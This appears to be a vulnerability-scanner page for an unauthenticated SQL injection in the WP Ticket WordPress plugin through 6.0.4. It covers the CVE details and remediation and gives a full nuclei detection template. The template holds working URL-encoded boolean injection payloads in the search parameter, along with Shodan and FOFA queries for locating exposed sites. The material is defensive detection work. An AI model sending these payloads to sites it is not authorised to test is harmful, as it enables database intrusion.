WP Ticket <= 6.0.4 - SQL Injection

highseverity

7.5CVSS score

2.1%likelihood of exploitation, next 30 days

82%of all CVEs are less likely

Readycheck to confirm it

WP Ticket (wp-ticket) for WordPress through 6.0.4 allows unauthenticated SQL injection via front-end search due to unsanitized use of the "s" parameter in emd_author_search_results(). Exploitation requires at least one guest ticket. Fixed in 6.0.5.

Impact

Unauthenticated attackers can extract sensitive database information via SQL injection, potentially compromising the entire database.

Fix

Update WP Ticket plugin to a version later than 6.0.4 or the latest available version.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/wp-ticket/readme.txt
Send: GET {{BaseURL}}/?s=zzz%25%27%20OR%20%28post_type%3D%27emd_ticket%27%29%20OR%20%27x
Send: GET {{BaseURL}}/?s=zzz%25%27%20AND%20%28post_type%3D%27emd_ticket%27%29%20AND%20%27x
Positive when: compare_versions(version, '<= 6.0.4') and contains(true_marker, "type-emd_ticket") and status_code==200 AND not contains "type-emd_ticket"

Run it with nuclei: nuclei -id CVE-2026-9848 -u <target>

The full check

id: CVE-2026-9848

info:
  name: WP Ticket <= 6.0.4 - SQL Injection
  author: HaroonArshad-53
  severity: high
  description: |
    WP Ticket (wp-ticket) for WordPress through 6.0.4 allows unauthenticated SQL injection via front-end search due to unsanitized use of the "s" parameter in emd_author_search_results(). Exploitation requires at least one guest ticket. Fixed in 6.0.5.
  impact: |
    Unauthenticated attackers can extract sensitive database information via SQL injection, potentially compromising the entire database.
  remediation: |
    Update WP Ticket plugin to a version later than 6.0.4 or the latest available version.
  reference:
    - https://wordpress.org/plugins/wp-ticket/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9848
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9848
    epss-score: 0.02057
    epss-percentile: 0.81457
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: emarket-design
    product: wp-ticket
    shodan-query: html:"/wp-content/plugins/wp-ticket"
    fofa-query: body="/wp-content/plugins/wp-ticket"
  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,wp-ticket

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/wp-ticket/readme.txt"

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'Stable tag: ([0-9]+\.[0-9]+\.[0-9]+)'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?s=zzz%25%27%20OR%20%28post_type%3D%27emd_ticket%27%29%20OR%20%27x"

    extractors:
      - type: regex
        name: true_marker
        regex:
          - 'type-emd_ticket'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/?s=zzz%25%27%20AND%20%28post_type%3D%27emd_ticket%27%29%20AND%20%27x"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<= 6.0.4')"
          - 'contains(true_marker, "type-emd_ticket")'
          - "status_code==200"
        condition: and

      - type: word
        part: body
        words:
          - 'type-emd_ticket'
        negative: true

References

Use this check only on systems you are authorised to test. Where the data comes from